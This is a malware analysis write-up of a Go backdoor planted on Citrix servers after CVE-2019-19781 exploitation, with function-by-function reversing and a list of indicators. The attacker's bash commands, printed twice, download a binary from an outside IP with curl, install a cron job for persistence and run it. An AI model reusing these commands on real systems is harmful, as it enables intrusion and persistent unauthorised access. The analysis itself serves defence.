Please read the disclaimer

After the exploit release of CVE-2019-19781, malicious hackers took the opportunity to compromise Citrix instances that did not have the Citrix mitigation implemented. I had the chance to get my hands on some artefacts from a honey pot of a certain threat actor who compromised multiple servers tweet link, in this post I will talk in details on how I reversed it using Cutter.

Note: the secret key used by the malware was altered by m.

Post-exploitation:

We notice that the threat actor executed the following bash commands on the compromised system:

1
2
3
4
5
6
7
kill -9 netscalerd; 
rm /var/tmp/netscalerd; 
mkdir /tmp/.init; 
curl -k https://95.179.163.186/wp-content/uploads/2018/09/6b37ab9644fff4d954615c93cc890039 -o /tmp/.init/httpd; 
chmod 744 /tmp/.init/httpd; 
echo "* * * * * /var/nstmp/.nscache/httpd" | crontab -; 
/tmp/.init/httpd &;
  1. It kill all running instances of netscalerd
  2. It delete the file /var/tmp/netscalerd
  3. It create the directory /tmp/.init
  4. It download a binary file from 95.179.163.186 through https request and save it in /tmp/.init/httpd
  5. It create a cronjob to run /var/nstmp/.nscache/httpd, note: this file is created by the downloaded binary.

Overview of the binary file:

Opening the binary with Cutter reveals that it’s a golang compiled binary composed of multiple functions mainly:

  1. main
  2. install_itself
  3. remove_bds
  4. doFile
  5. install_cron
  6. xrun
  7. func1

Analyses

main function:

Run remove_bds function as a thread and check if the file /var/nstmp/.nscache/httpd , if it does not exist it run install_itself function.

call_removedbs_install_itself

if the current process CWD do not contain the string .nscache/httpd it start /var/nstmp/.nscache/httpd as new process then it exit, else it run 2 other threads:

  1. xrun function
  2. install_cron function

xrun_thread_start_process

install_itself function:

It create a directory /var/nstmp/.nscache

install_itself_mkdir

check if the file /var/nstmp/.nscache/httpd already exist

install_itself_check_file_exist

if not, it copy it self to /var/nstmp/.nscache/httpd

remove_bds function:

It continuously read the directory /netscaler/portal/scripts

remove_dbs_readdir

then loops through all the files contained in that directory, by checking if they were created in the last 14 days

remove_bds_check_14_days

if yes, it proceed to doFile function

remove_dbs_dofile

doFile function:

It first check if the file name contains a special 32 bytes long string (secret key)

dofile_check_name

In the case where it does not, it continue by checking if the content of the file contains the strings block or BLOCK if it does, the file will be deleted unless it also contains the secret key.

dofile_block_key_string

install_cron function:

Is for some reasons … empty.

install_cron

xrun function:

Start a UDP listener on *:18634 then it keep listening on that port, without using the data received.

xrun_resolveudp

func1 function:

It continuously scan the directory /netscaler/portal/templates for *.xml files, then call doFile function. In other words every xml file that contain the string block or BLOCK will be deleted unless the content/file name contain the secret key.

func1_delete_files_if_block_key

Conclusion:

From my understanding, the author’s goal was to stop other malicious hackers from exploiting and gaining access to the Citrix instance by deleting every uploaded xml file, while retaining access to himself, indeed with that 32 bytes long string which serves as a secret key, only the author of this malware can gain access to the compromised server.

Collected IOCs:

  1. Filenames:
    • /tmp/.init/httpd
    • /var/nstmp/.nscache/httpd
  2. Directories
    • /var/nstmp/.nscache
    • /tmp/.init
  3. IPs
    • 95.179.163.186
  4. UDP listener
    • *.18634
  5. Bash history
    • kill -9 netscalerd;
    • rm /var/tmp/netscalerd;
    • mkdir /tmp/.init;
    • curl -k https://95.179.163.186/wp-content/uploads/2018/09/6b37ab9644fff4d954615c93cc890039 -o /tmp/.init/httpd;
    • chmod 744 /tmp/.init/httpd;
    • echo “* * * * * /var/nstmp/.nscache/httpd” | crontab -;
    • /tmp/.init/httpd &;